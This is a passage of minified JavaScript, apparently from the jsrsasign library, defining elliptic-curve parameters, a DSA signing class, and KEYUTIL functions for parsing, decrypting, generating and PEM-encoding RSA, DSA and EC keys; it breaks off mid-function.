KJUR.crypto.ECParameterDB.regist("secp384r1", 384, "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEFFFFFFFF0000000000000000FFFFFFFF", "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEFFFFFFFF0000000000000000FFFFFFFC", "B3312FA7E23EE7E4988E056BE3F82D19181D9C6EFE8141120314088F5013875AC656398D8A2ED19D2A85C8EDD3EC2AEF", "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFC7634D81F4372DDF581A0DB248B0A77AECEC196ACCC52973", "1", "AA87CA22BE8B05378EB1C71EF320AD746E1D3B628BA79B9859F741E082542A385502F25DBF55296C3A545E3872760AB7", "3617de4a96262c6f5d9e98bf9292dc29f8f41dbd289a147ce9da3113b5f0b8c00a60b1ce1d7e819d7a431d7c90ea0e5f", ["NIST P-384", "P-384"]);
KJUR.crypto.ECParameterDB.regist("secp521r1", 521, "1FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF", "1FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFC", "051953EB9618E1C9A1F929A21A0B68540EEA2DA725B99B315F3B8B489918EF109E156193951EC7E937B1652C0BD3BB1BF073573DF883D2C34F1EF451FD46B503F00", "1FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFA51868783BF2F966B7FCC0148F709A5D03BB5C9B8899C47AEBB6FB71E91386409", "1", "C6858E06B70404E9CD9E3ECB662395B4429C648139053FB521F828AF606B4D3DBAA14B5E77EFE75928FE1DC127A2FFA8DE3348B3C1856A429BF97E7E31C2E5BD66", "011839296a789a3bc0045c8a5fb42c7d1bd998f54449579b446817afbd17273e662c97ee72995ef42640c550b9013fad0761353c7086a272c24088be94769fd16650", ["NIST P-521", "P-521"]);
if (typeof KJUR == "undefined" || !KJUR) {
    KJUR = {}
}
if (typeof KJUR.crypto == "undefined" || !KJUR.crypto) {
    KJUR.crypto = {}
}
KJUR.crypto.DSA = function() {
    this.p = null;
    this.q = null;
    this.g = null;
    this.y = null;
    this.x = null;
    this.type = "DSA";
    this.isPrivate = false;
    this.isPublic = false;
    this.setPrivate = function(d, c, b, e, a) {
        this.isPrivate = true;
        this.p = d;
        this.q = c;
        this.g = b;
        this.y = e;
        this.x = a
    };
    this.setPrivateHex = function(d, b, f, i, j) {
        var c, a, e, g, h;
        c = new BigInteger(d, 16);
        a = new BigInteger(b, 16);
        e = new BigInteger(f, 16);
        if (typeof i === "string" && i.length > 1) {
            g = new BigInteger(i, 16)
        } else {
            g = null
        }
        h = new BigInteger(j, 16);
        this.setPrivate(c, a, e, g, h)
    };
    this.setPublic = function(c, b, a, d) {
        this.isPublic = true;
        this.p = c;
        this.q = b;
        this.g = a;
        this.y = d;
        this.x = null
    };
    this.setPublicHex = function(f, e, d, g) {
        var b, a, h, c;
        b = new BigInteger(f, 16);
        a = new BigInteger(e, 16);
        h = new BigInteger(d, 16);
        c = new BigInteger(g, 16);
        this.setPublic(b, a, h, c)
    };
    this.signWithMessageHash = function(d) {
        var c = this.p;
        var b = this.q;
        var f = this.g;
        var i = this.y;
        var j = this.x;
        var e = KJUR.crypto.Util.getRandomBigIntegerMinToMax(BigInteger.ONE.add(BigInteger.ONE), b.subtract(BigInteger.ONE));
        var l = d.substr(0, b.bitLength() / 4);
        var h = new BigInteger(l, 16);
        var a = (f.modPow(e, c)).mod(b);
        var n = (e.modInverse(b).multiply(h.add(j.multiply(a)))).mod(b);
        var m = KJUR.asn1.ASN1Util.jsonToASN1HEX({
            seq: [{
                "int": {
                    bigint: a
                }
            }, {
                "int": {
                    bigint: n
                }
            }]
        });
        return m
    };
    this.verifyWithMessageHash = function(h, f) {
        var d = this.p;
        var b = this.q;
        var j = this.g;
        var l = this.y;
        var i = this.parseASN1Signature(f);
        var a = i[0];
        var t = i[1];
        var o = h.substr(0, b.bitLength() / 4);
        var k = new BigInteger(o, 16);
        if (BigInteger.ZERO.compareTo(a) > 0 || a.compareTo(b) > 0) {
            throw "invalid DSA signature"
        }
        if (BigInteger.ZERO.compareTo(t) >= 0 || t.compareTo(b) > 0) {
            throw "invalid DSA signature"
        }
        var m = t.modInverse(b);
        var e = k.multiply(m).mod(b);
        var c = a.multiply(m).mod(b);
        var n = j.modPow(e, d).multiply(l.modPow(c, d)).mod(d).mod(b);
        return n.compareTo(a) == 0
    };
    this.parseASN1Signature = function(a) {
        try {
            var d = new BigInteger(ASN1HEX.getVbyList(a, 0, [0], "02"), 16);
            var c = new BigInteger(ASN1HEX.getVbyList(a, 0, [1], "02"), 16);
            return [d, c]
        } catch (b) {
            throw "malformed ASN.1 DSA signature"
        }
    };
    this.readPKCS5PrvKeyHex = function(c) {
        var b, a, f, g, i;
        var j = ASN1HEX;
        var d = j.getVbyList;
        if (j.isASN1HEX(c) === false) {
            throw "not ASN.1 hex string"
        }
        try {
            b = d(c, 0, [1], "02");
            a = d(c, 0, [2], "02");
            f = d(c, 0, [3], "02");
            g = d(c, 0, [4], "02");
            i = d(c, 0, [5], "02")
        } catch (e) {
            throw "malformed PKCS#1/5 plain DSA private key"
        }
        this.setPrivateHex(b, a, f, g, i)
    };
    this.readPKCS8PrvKeyHex = function(d) {
        var f, c, b, g;
        var e = ASN1HEX;
        var i = e.getVbyList;
        if (e.isASN1HEX(d) === false) {
            throw "not ASN.1 hex string"
        }
        try {
            f = i(d, 0, [1, 1, 0], "02");
            c = i(d, 0, [1, 1, 1], "02");
            b = i(d, 0, [1, 1, 2], "02");
            g = i(d, 0, [2, 0], "02")
        } catch (a) {
            throw "malformed PKCS#8 plain DSA private key"
        }
        this.setPrivateHex(f, c, b, null, g)
    };
    this.readPKCS8PubKeyHex = function(d) {
        var f, c, b, g;
        var e = ASN1HEX;
        var i = e.getVbyList;
        if (e.isASN1HEX(d) === false) {
            throw "not ASN.1 hex string"
        }
        try {
            f = i(d, 0, [0, 1, 0], "02");
            c = i(d, 0, [0, 1, 1], "02");
            b = i(d, 0, [0, 1, 2], "02");
            g = i(d, 0, [1, 0], "02")
        } catch (a) {
            throw "malformed PKCS#8 DSA public key"
        }
        this.setPublicHex(f, c, b, g)
    };
    this.readCertPubKeyHex = function(c, f) {
        if (f !== 5) {
            f = 6
        }
        var b, a, g, i;
        var j = ASN1HEX;
        var d = j.getVbyList;
        if (j.isASN1HEX(c) === false) {
            throw "not ASN.1 hex string"
        }
        try {
            b = d(c, 0, [0, f, 0, 1, 0], "02");
            a = d(c, 0, [0, f, 0, 1, 1], "02");
            g = d(c, 0, [0, f, 0, 1, 2], "02");
            i = d(c, 0, [0, f, 1, 0], "02")
        } catch (e) {
            throw "malformed X.509 certificate DSA public key"
        }
        this.setPublicHex(b, a, g, i)
    }
};
var KEYUTIL = function() {
    var d = function(p, r, q) {
        return k(CryptoJS.AES, p, r, q)
    };
    var e = function(p, r, q) {
        return k(CryptoJS.TripleDES, p, r, q)
    };
    var a = function(p, r, q) {
        return k(CryptoJS.DES, p, r, q)
    };
    var k = function(s, x, u, q) {
        var r = CryptoJS.enc.Hex.parse(x);
        var w = CryptoJS.enc.Hex.parse(u);
        var p = CryptoJS.enc.Hex.parse(q);
        var t = {};
        t.key = w;
        t.iv = p;
        t.ciphertext = r;
        var v = s.decrypt(t, w, {
            iv: p
        });
        return CryptoJS.enc.Hex.stringify(v)
    };
    var l = function(p, r, q) {
        return g(CryptoJS.AES, p, r, q)
    };
    var o = function(p, r, q) {
        return g(CryptoJS.TripleDES, p, r, q)
    };
    var f = function(p, r, q) {
        return g(CryptoJS.DES, p, r, q)
    };
    var g = function(t, y, v, q) {
        var s = CryptoJS.enc.Hex.parse(y);
        var x = CryptoJS.enc.Hex.parse(v);
        var p = CryptoJS.enc.Hex.parse(q);
        var w = t.encrypt(s, x, {
            iv: p
        });
        var r = CryptoJS.enc.Hex.parse(w.toString());
        var u = CryptoJS.enc.Base64.stringify(r);
        return u
    };
    var i = {
        "AES-256-CBC": {
            proc: d,
            eproc: l,
            keylen: 32,
            ivlen: 16
        },
        "AES-192-CBC": {
            proc: d,
            eproc: l,
            keylen: 24,
            ivlen: 16
        },
        "AES-128-CBC": {
            proc: d,
            eproc: l,
            keylen: 16,
            ivlen: 16
        },
        "DES-EDE3-CBC": {
            proc: e,
            eproc: o,
            keylen: 24,
            ivlen: 8
        },
        "DES-CBC": {
            proc: a,
            eproc: f,
            keylen: 8,
            ivlen: 8
        }
    };
    var c = function(p) {
        return i[p]["proc"]
    };
    var m = function(p) {
        var r = CryptoJS.lib.WordArray.random(p);
        var q = CryptoJS.enc.Hex.stringify(r);
        return q
    };
    var n = function(v) {
        var w = {};
        var q = v.match(new RegExp("DEK-Info:([^,]+),([0-9A-Fa-f]+)", "m"));
        if (q) {
            w.cipher = q[1];
            w.ivsalt = q[2]
        }
        var p = v.match(new RegExp("-----BEGIN ([A-Z]+)PRIVATE KEY-----"));
        if (p) {
            w.type = p[1]
        }
        var u = -1;
        var x = 0;
        if (v.indexOf("\r\n\r\n") != -1) {
            u = v.indexOf("\r\n\r\n");
            x = 2
        }
        if (v.indexOf("\n\n") != -1) {
            u = v.indexOf("\n\n");
            x = 1
        }
        var t = v.indexOf("-----END");
        if (u != -1 && t != -1) {
            var r = v.substring(u + x * 2, t - x);
            r = r.replace(/\s+/g, "");
            w.data = r
        }
        return w
    };
    var j = function(q, y, p) {
        var v = p.substring(0, 16);
        var t = CryptoJS.enc.Hex.parse(v);
        var r = CryptoJS.enc.Utf8.parse(y);
        var u = i[q]["keylen"] + i[q]["ivlen"];
        var x = "";
        var w = null;
        for (;;) {
            var s = CryptoJS.algo.MD5.create();
            if (w != null) {
                s.update(w)
            }
            s.update(r);
            s.update(t);
            w = s.finalize();
            x = x + CryptoJS.enc.Hex.stringify(w);
            if (x.length >= u * 2) {
                break
            }
        }
        var z = {};
        z.keyhex = x.substr(0, i[q]["keylen"] * 2);
        z.ivhex = x.substr(i[q]["keylen"] * 2, i[q]["ivlen"] * 2);
        return z
    };
    var b = function(p, v, r, w) {
        var s = CryptoJS.enc.Base64.parse(p);
        var q = CryptoJS.enc.Hex.stringify(s);
        var u = i[v]["proc"];
        var t = u(q, r, w);
        return t
    };
    var h = function(p, s, q, u) {
        var r = i[s]["eproc"];
        var t = r(p, q, u);
        return t
    };
    return {
        version: "1.0.0",
        parsePKCS5PEM: function(p) {
            return n(p)
        },
        getKeyAndUnusedIvByPasscodeAndIvsalt: function(q, p, r) {
            return j(q, p, r)
        },
        decryptKeyB64: function(p, r, q, s) {
            return b(p, r, q, s)
        },
        getDecryptedKeyHex: function(y, x) {
            var q = n(y);
            var t = q.type;
            var r = q.cipher;
            var p = q.ivsalt;
            var s = q.data;
            var w = j(r, x, p);
            var v = w.keyhex;
            var u = b(s, r, v, p);
            return u
        },
        getEncryptedPKCS5PEMFromPrvKeyHex: function(x, s, A, t, r) {
            var p = "";
            if (typeof t == "undefined" || t == null) {
                t = "AES-256-CBC"
            }
            if (typeof i[t] == "undefined") {
                throw "KEYUTIL unsupported algorithm:" + t
            }
            if (typeof r == "undefined" || r == null) {
                var v = i[t]["ivlen"];
                var u = m(v);
                r = u.toUpperCase()
            }
            var z = j(t, A, r);
            var y = z.keyhex;
            var w = h(s, t, y, r);
            var q = w.replace(/(.{64})/g, "$1\r\n");
            var p = "-----BEGIN " + x + " PRIVATE KEY-----\r\n";
            p += "Proc-Type:4,ENCRYPTED\r\n";
            p += "DEK-Info:" + t + "," + r + "\r\n";
            p += "\r\n";
            p += q;
            p += "\r\n-----END " + x + " PRIVATE KEY-----\r\n";
            return p
        },
        parseHexOfEncryptedPKCS8: function(y) {
            var B = ASN1HEX;
            var z = B.getChildIdx;
            var w = B.getV;
            var t = {};
            var r = z(y, 0);
            if (r.length != 2) {
                throw "malformed format:SEQUENCE(0).items !=2:" + r.length
            }
            t.ciphertext = w(y, r[1]);
            var A = z(y, r[0]);
            if (A.length != 2) {
                throw "malformed format:SEQUENCE(0.0).items !=2:" + A.length
            }
            if (w(y, A[0]) != "2a864886f70d01050d") {
                throw "this only supports pkcs5PBES2"
            }
            var p = z(y, A[1]);
            if (A.length != 2) {
                throw "malformed format:SEQUENCE(0.0.1).items !=2:" + p.length
            }
            var q = z(y, p[1]);
            if (q.length != 2) {
                throw "malformed format:SEQUENCE(0.0.1.1).items !=2:" + q.length
            }
            if (w(y, q[0]) != "2a864886f70d0307") {
                throw "this only supports TripleDES"
            }
            t.encryptionSchemeAlg = "TripleDES";
            t.encryptionSchemeIV = w(y, q[1]);
            var s = z(y, p[0]);
            if (s.length != 2) {
                throw "malformed format:SEQUENCE(0.0.1.0).items !=2:" + s.length
            }
            if (w(y, s[0]) != "2a864886f70d01050c") {
                throw "this only supports pkcs5PBKDF2"
            }
            var x = z(y, s[1]);
            if (x.length < 2) {
                throw "malformed format:SEQUENCE(0.0.1.0.1).items <2:" + x.length
            }
            t.pbkdf2Salt = w(y, x[0]);
            var u = w(y, x[1]);
            try {
                t.pbkdf2Iter = parseInt(u, 16)
            } catch (v) {
                throw "malformed format pbkdf2Iter:" + u
            }
            return t
        },
        getPBKDF2KeyHexFromParam: function(u, p) {
            var t = CryptoJS.enc.Hex.parse(u.pbkdf2Salt);
            var q = u.pbkdf2Iter;
            var s = CryptoJS.PBKDF2(p, t, {
                keySize: 192 / 32,
                iterations: q
            });
            var r = CryptoJS.enc.Hex.stringify(s);
            return r
        },
        _getPlainPKCS8HexFromEncryptedPKCS8PEM: function(x, y) {
            var r = pemtohex(x, "ENCRYPTED PRIVATE KEY");
            var p = this.parseHexOfEncryptedPKCS8(r);
            var u = KEYUTIL.getPBKDF2KeyHexFromParam(p, y);
            var v = {};
            v.ciphertext = CryptoJS.enc.Hex.parse(p.ciphertext);
            var t = CryptoJS.enc.Hex.parse(u);
            var s = CryptoJS.enc.Hex.parse(p.encryptionSchemeIV);
            var w = CryptoJS.TripleDES.decrypt(v, t, {
                iv: s
            });
            var q = CryptoJS.enc.Hex.stringify(w);
            return q
        },
        getKeyFromEncryptedPKCS8PEM: function(s, q) {
            var p = this._getPlainPKCS8HexFromEncryptedPKCS8PEM(s, q);
            var r = this.getKeyFromPlainPrivatePKCS8Hex(p);
            return r
        },
        parsePlainPrivatePKCS8Hex: function(s) {
            var v = ASN1HEX;
            var u = v.getChildIdx;
            var t = v.getV;
            var q = {};
            q.algparam = null;
            if (s.substr(0, 2) != "30") {
                throw "malformed plain PKCS8 private key(code:001)"
            }
            var r = u(s, 0);
            if (r.length != 3) {
                throw "malformed plain PKCS8 private key(code:002)"
            }
            if (s.substr(r[1], 2) != "30") {
                throw "malformed PKCS8 private key(code:003)"
            }
            var p = u(s, r[1]);
            if (p.length != 2) {
                throw "malformed PKCS8 private key(code:004)"
            }
            if (s.substr(p[0], 2) != "06") {
                throw "malformed PKCS8 private key(code:005)"
            }
            q.algoid = t(s, p[0]);
            if (s.substr(p[1], 2) == "06") {
                q.algparam = t(s, p[1])
            }
            if (s.substr(r[2], 2) != "04") {
                throw "malformed PKCS8 private key(code:006)"
            }
            q.keyidx = v.getVidx(s, r[2]);
            return q
        },
        getKeyFromPlainPrivatePKCS8PEM: function(q) {
            var p = pemtohex(q, "PRIVATE KEY");
            var r = this.getKeyFromPlainPrivatePKCS8Hex(p);
            return r
        },
        getKeyFromPlainPrivatePKCS8Hex: function(p) {
            var q = this.parsePlainPrivatePKCS8Hex(p);
            var r;
            if (q.algoid == "2a864886f70d010101") {
                r = new RSAKey()
            } else {
                if (q.algoid == "2a8648ce380401") {
                    r = new KJUR.crypto.DSA()
                } else {
                    if (q.algoid == "2a8648ce3d0201") {
                        r = new KJUR.crypto.ECDSA()
                    } else {
                        throw "unsupported private key algorithm"
                    }
                }
            }
            r.readPKCS8PrvKeyHex(p);
            return r
        },
        _getKeyFromPublicPKCS8Hex: function(q) {
            var p;
            var r = ASN1HEX.getVbyList(q, 0, [0, 0], "06");
            if (r === "2a864886f70d010101") {
                p = new RSAKey()
            } else {
                if (r === "2a8648ce380401") {
                    p = new KJUR.crypto.DSA()
                } else {
                    if (r === "2a8648ce3d0201") {
                        p = new KJUR.crypto.ECDSA()
                    } else {
                        throw "unsupported PKCS#8 public key hex"
                    }
                }
            }
            p.readPKCS8PubKeyHex(q);
            return p
        },
        parsePublicRawRSAKeyHex: function(r) {
            var u = ASN1HEX;
            var t = u.getChildIdx;
            var s = u.getV;
            var p = {};
            if (r.substr(0, 2) != "30") {
                throw "malformed RSA key(code:001)"
            }
            var q = t(r, 0);
            if (q.length != 2) {
                throw "malformed RSA key(code:002)"
            }
            if (r.substr(q[0], 2) != "02") {
                throw "malformed RSA key(code:003)"
            }
            p.n = s(r, q[0]);
            if (r.substr(q[1], 2) != "02") {
                throw "malformed RSA key(code:004)"
            }
            p.e = s(r, q[1]);
            return p
        },
        parsePublicPKCS8Hex: function(t) {
            var v = ASN1HEX;
            var u = v.getChildIdx;
            var s = v.getV;
            var q = {};
            q.algparam = null;
            var r = u(t, 0);
            if (r.length != 2) {
                throw "outer DERSequence shall have 2 elements:" + r.length
            }
            var w = r[0];
            if (t.substr(w, 2) != "30") {
                throw "malformed PKCS8 public key(code:001)"
            }
            var p = u(t, w);
            if (p.length != 2) {
                throw "malformed PKCS8 public key(code:002)"
            }
            if (t.substr(p[0], 2) != "06") {
                throw "malformed PKCS8 public key(code:003)"
            }
            q.algoid = s(t, p[0]);
            if (t.substr(p[1], 2) == "06") {
                q.algparam = s(t, p[1])
            } else {
                if (t.substr(p[1], 2) == "30") {
                    q.algparam = {};
                    q.algparam.p = v.getVbyList(t, p[1], [0], "02");
                    q.algparam.q = v.getVbyList(t, p[1], [1], "02");
                    q.algparam.g = v.getVbyList(t, p[1], [2], "02")
                }
            }
            if (t.substr(r[1], 2) != "03") {
                throw "malformed PKCS8 public key(code:004)"
            }
            q.key = s(t, r[1]).substr(2);
            return q
        },
    }
}();
KEYUTIL.getKey = function(l, k, n) {
    var G = ASN1HEX,
        L = G.getChildIdx,
        v = G.getV,
        d = G.getVbyList,
        c = KJUR.crypto,
        i = c.ECDSA,
        C = c.DSA,
        w = RSAKey,
        M = pemtohex,
        F = KEYUTIL;
    if (typeof w != "undefined" && l instanceof w) {
        return l
    }
    if (typeof i != "undefined" && l instanceof i) {
        return l
    }
    if (typeof C != "undefined" && l instanceof C) {
        return l
    }
    if (l.curve !== undefined && l.xy !== undefined && l.d === undefined) {
        return new i({
            pub: l.xy,
            curve: l.curve
        })
    }
    if (l.curve !== undefined && l.d !== undefined) {
        return new i({
            prv: l.d,
            curve: l.curve
        })
    }
    if (l.kty === undefined && l.n !== undefined && l.e !== undefined && l.d === undefined) {
        var P = new w();
        P.setPublic(l.n, l.e);
        return P
    }
    if (l.kty === undefined && l.n !== undefined && l.e !== undefined && l.d !== undefined && l.p !== undefined && l.q !== undefined && l.dp !== undefined && l.dq !== undefined && l.co !== undefined && l.qi === undefined) {
        var P = new w();
        P.setPrivateEx(l.n, l.e, l.d, l.p, l.q, l.dp, l.dq, l.co);
        return P
    }
    if (l.kty === undefined && l.n !== undefined && l.e !== undefined && l.d !== undefined && l.p === undefined) {
        var P = new w();
        P.setPrivate(l.n, l.e, l.d);
        return P
    }
    if (l.p !== undefined && l.q !== undefined && l.g !== undefined && l.y !== undefined && l.x === undefined) {
        var P = new C();
        P.setPublic(l.p, l.q, l.g, l.y);
        return P
    }
    if (l.p !== undefined && l.q !== undefined && l.g !== undefined && l.y !== undefined && l.x !== undefined) {
        var P = new C();
        P.setPrivate(l.p, l.q, l.g, l.y, l.x);
        return P
    }
    if (l.kty === "RSA" && l.n !== undefined && l.e !== undefined && l.d === undefined) {
        var P = new w();
        P.setPublic(b64utohex(l.n), b64utohex(l.e));
        return P
    }
    if (l.kty === "RSA" && l.n !== undefined && l.e !== undefined && l.d !== undefined && l.p !== undefined && l.q !== undefined && l.dp !== undefined && l.dq !== undefined && l.qi !== undefined) {
        var P = new w();
        P.setPrivateEx(b64utohex(l.n), b64utohex(l.e), b64utohex(l.d), b64utohex(l.p), b64utohex(l.q), b64utohex(l.dp), b64utohex(l.dq), b64utohex(l.qi));
        return P
    }
    if (l.kty === "RSA" && l.n !== undefined && l.e !== undefined && l.d !== undefined) {
        var P = new w();
        P.setPrivate(b64utohex(l.n), b64utohex(l.e), b64utohex(l.d));
        return P
    }
    if (l.kty === "EC" && l.crv !== undefined && l.x !== undefined && l.y !== undefined && l.d === undefined) {
        var j = new i({
            curve: l.crv
        });
        var t = j.ecparams.keylen / 4;
        var B = ("0000000000" + b64utohex(l.x)).slice(-t);
        var z = ("0000000000" + b64utohex(l.y)).slice(-t);
        var u = "04" + B + z;
        j.setPublicKeyHex(u);
        return j
    }
    if (l.kty === "EC" && l.crv !== undefined && l.x !== undefined && l.y !== undefined && l.d !== undefined) {
        var j = new i({
            curve: l.crv
        });
        var t = j.ecparams.keylen / 4;
        var B = ("0000000000" + b64utohex(l.x)).slice(-t);
        var z = ("0000000000" + b64utohex(l.y)).slice(-t);
        var u = "04" + B + z;
        var b = ("0000000000" + b64utohex(l.d)).slice(-t);
        j.setPublicKeyHex(u);
        j.setPrivateKeyHex(b);
        return j
    }
    if (n === "pkcs5prv") {
        var J = l,
            G = ASN1HEX,
            N, P;
        N = L(J, 0);
        if (N.length === 9) {
            P = new w();
            P.readPKCS5PrvKeyHex(J)
        } else {
            if (N.length === 6) {
                P = new C();
                P.readPKCS5PrvKeyHex(J)
            } else {
                if (N.length > 2 && J.substr(N[1], 2) === "04") {
                    P = new i();
                    P.readPKCS5PrvKeyHex(J)
                } else {
                    throw "unsupported PKCS#1/5 hexadecimal key"
                }
            }
        }
        return P
    }
    if (n === "pkcs8prv") {
        var P = F.getKeyFromPlainPrivatePKCS8Hex(l);
        return P
    }
    if (n === "pkcs8pub") {
        return F._getKeyFromPublicPKCS8Hex(l)
    }
    if (n === "x509pub") {
        return X509.getPublicKeyFromCertHex(l)
    }
    if (l.indexOf("-END CERTIFICATE-", 0) != -1 || l.indexOf("-END X509 CERTIFICATE-", 0) != -1 || l.indexOf("-END TRUSTED CERTIFICATE-", 0) != -1) {
        return X509.getPublicKeyFromCertPEM(l)
    }
    if (l.indexOf("-END PUBLIC KEY-") != -1) {
        var O = pemtohex(l, "PUBLIC KEY");
        return F._getKeyFromPublicPKCS8Hex(O)
    }
    if (l.indexOf("-END RSA PRIVATE KEY-") != -1 && l.indexOf("4,ENCRYPTED") == -1) {
        var m = M(l, "RSA PRIVATE KEY");
        return F.getKey(m, null, "pkcs5prv")
    }
    if (l.indexOf("-END DSA PRIVATE KEY-") != -1 && l.indexOf("4,ENCRYPTED") == -1) {
        var I = M(l, "DSA PRIVATE KEY");
        var E = d(I, 0, [1], "02");
        var D = d(I, 0, [2], "02");
        var K = d(I, 0, [3], "02");
        var r = d(I, 0, [4], "02");
        var s = d(I, 0, [5], "02");
        var P = new C();
        P.setPrivate(new BigInteger(E, 16), new BigInteger(D, 16), new BigInteger(K, 16), new BigInteger(r, 16), new BigInteger(s, 16));
        return P
    }
    if (l.indexOf("-END PRIVATE KEY-") != -1) {
        return F.getKeyFromPlainPrivatePKCS8PEM(l)
    }
    if (l.indexOf("-END RSA PRIVATE KEY-") != -1 && l.indexOf("4,ENCRYPTED") != -1) {
        var o = F.getDecryptedKeyHex(l, k);
        var H = new RSAKey();
        H.readPKCS5PrvKeyHex(o);
        return H
    }
    if (l.indexOf("-END EC PRIVATE KEY-") != -1 && l.indexOf("4,ENCRYPTED") != -1) {
        var I = F.getDecryptedKeyHex(l, k);
        var P = d(I, 0, [1], "04");
        var f = d(I, 0, [2, 0], "06");
        var A = d(I, 0, [3, 0], "03").substr(2);
        var e = "";
        if (KJUR.crypto.OID.oidhex2name[f] !== undefined) {
            e = KJUR.crypto.OID.oidhex2name[f]
        } else {
            throw "undefined OID(hex)in KJUR.crypto.OID:" + f
        }
        var j = new i({
            curve: e
        });
        j.setPublicKeyHex(A);
        j.setPrivateKeyHex(P);
        j.isPublic = false;
        return j
    }
    if (l.indexOf("-END DSA PRIVATE KEY-") != -1 && l.indexOf("4,ENCRYPTED") != -1) {
        var I = F.getDecryptedKeyHex(l, k);
        var E = d(I, 0, [1], "02");
        var D = d(I, 0, [2], "02");
        var K = d(I, 0, [3], "02");
        var r = d(I, 0, [4], "02");
        var s = d(I, 0, [5], "02");
        var P = new C();
        P.setPrivate(new BigInteger(E, 16), new BigInteger(D, 16), new BigInteger(K, 16), new BigInteger(r, 16), new BigInteger(s, 16));
        return P
    }
    if (l.indexOf("-END ENCRYPTED PRIVATE KEY-") != -1) {
        return F.getKeyFromEncryptedPKCS8PEM(l, k)
    }
    throw "not supported argument"
};
KEYUTIL.generateKeypair = function(a, c) {
    if (a == "RSA") {
        var b = c;
        var h = new RSAKey();
        h.generate(b, "10001");
        h.isPrivate = true;
        h.isPublic = true;
        var f = new RSAKey();
        var e = h.n.toString(16);
        var i = h.e.toString(16);
        f.setPublic(e, i);
        f.isPrivate = false;
        f.isPublic = true;
        var k = {};
        k.prvKeyObj = h;
        k.pubKeyObj = f;
        return k
    } else {
        if (a == "EC") {
            var d = c;
            var g = new KJUR.crypto.ECDSA({
                curve: d
            });
            var j = g.generateKeyPairHex();
            var h = new KJUR.crypto.ECDSA({
                curve: d
            });
            h.setPublicKeyHex(j.ecpubhex);
            h.setPrivateKeyHex(j.ecprvhex);
            h.isPrivate = true;
            h.isPublic = false;
            var f = new KJUR.crypto.ECDSA({
                curve: d
            });
            f.setPublicKeyHex(j.ecpubhex);
            f.isPrivate = false;
            f.isPublic = true;
            var k = {};
            k.prvKeyObj = h;
            k.pubKeyObj = f;
            return k
        } else {
            throw "unknown algorithm:" + a
        }
    }
};
KEYUTIL.getPEM = function(b, D, y, m, q, j) {
    var F = KJUR,
        k = F.asn1,
        z = k.DERObjectIdentifier,
        f = k.DERInteger,
        l = k.ASN1Util.newObject,
        a = k.x509,
        C = a.SubjectPublicKeyInfo,
        e = F.crypto,
        u = e.DSA,
        r = e.ECDSA,
        n = RSAKey;

    function A(s) {
        var G = l({
            seq: [{
                "int": 0
            }, {
                "int": {
                    bigint: s.n
                }
            }, {
                "int": s.e
            }, {
                "int": {
                    bigint: s.d
                }
            }, {
                "int": {
                    bigint: s.p
                }
            }, {
                "int": {
                    bigint: s.q
                }
            }, {
                "int": {
                    bigint: s.dmp1
                }
            }, {
                "int": {
                    bigint: s.dmq1
                }
            }, {
                "int": {
                    bigint: s.coeff
                }
            }]
        });
        return G
    }

    function B(G) {
        var s = l({
            seq: [{
                "int": 1
            }, {
                octstr: {
                    hex: G.prvKeyHex
                }
            }, {
                tag: ["a0", true, {
                    oid: {
                        name: G.curveName
                    }
                }]
            }, {
                tag: ["a1", true, {
                    bitstr: {
                        hex: "00" + G.pubKeyHex
                    }
                }]
            }]
        });
        return s
    }

    function x(s) {
        var G = l({
            seq: [{
                "int": 0
            }, {
                "int": {
                    bigint: s.p
                }
            }, {
                "int": {
                    bigint: s.q
                }
            }, {
                "int": {
                    bigint: s.g
                }
            }, {
                "int": {
                    bigint: s.y
                }
            }, {
                "int": {
                    bigint: s.x
                }
            }]
        });
        return G
    }
    if (((n !== undefined && b instanceof n) || (u !== undefined && b instanceof u) || (r !== undefined && b instanceof r)) && b.isPublic == true && (D === undefined || D == "PKCS8PUB")) {
        var E = new C(b);
        var w = E.getEncodedHex();
        return hextopem(w, "PUBLIC KEY")
    }
    if (D == "PKCS1PRV" && n !== undefined && b instanceof n && (y === undefined || y == null) && b.isPrivate == true) {
        var E = A(b);
        var w = E.getEncodedHex();
        return hextopem(w, "RSA PRIVATE KEY")
    }
    if (D == "PKCS1PRV" && r !== undefined && b instanceof r && (y === undefined || y == null) && b.isPrivate == true) {
        var i = new z({
            name: b.curveName
        });
        var v = i.getEncodedHex();
        var h = B(b);
        var t = h.getEncodedHex();
        var p = "";
        p += hextopem(v, "EC PARAMETERS");
        p += hextopem(t, "EC PRIVATE KEY");
        return p
    }
    if (D == "PKCS1PRV" && u !== undefined && b instanceof u && (y === undefined || y == null) && b.isPrivate == true) {
        var E = x(b);
        var w = E.getEncodedHex();
        return hextopem(w, "DSA PRIVATE KEY")
    }
    if (D == "PKCS5PRV" && n !== undefined && b instanceof n && (y !== undefined && y != null) && b.isPrivate == true) {
        var E = A(b);
        var w = E.getEncodedHex();
        if (m === undefined) {
            m = "DES-EDE3-CBC"
        }
        return this.getEncryptedPKCS5PEMFromPrvKeyHex("RSA", w, y, m, j)
    }
    if (D == "PKCS5PRV" && r !== undefined && b instanceof r && (y !== undefined && y != null) && b.isPrivate == true) {
        var E = B(b);
        var w = E.getEncodedHex();
        if (m === undefined) {
            m = "DES-EDE3-CBC"
        }
        return this.getEncryptedPKCS5PEMFromPrvKeyHex("EC", w, y, m, j)
    }
    if (D == "PKCS5PRV" && u !== undefined && b instanceof u && (y !== undefined && y != null) && b.isPrivate == true) {
        var E = x(b);
        var w = E.getEncodedHex();
        if (m === undefined) {
            m = "DES-EDE3-CBC"
        }
        return this.getEncryptedPKCS5PEMFromPrvKeyHex("DSA", w, y, m, j)
    }
    var o = function(G, s) {
        var I = c(G, s);
        var H = new l({
            seq: [{
                seq: [{
                    oid: {
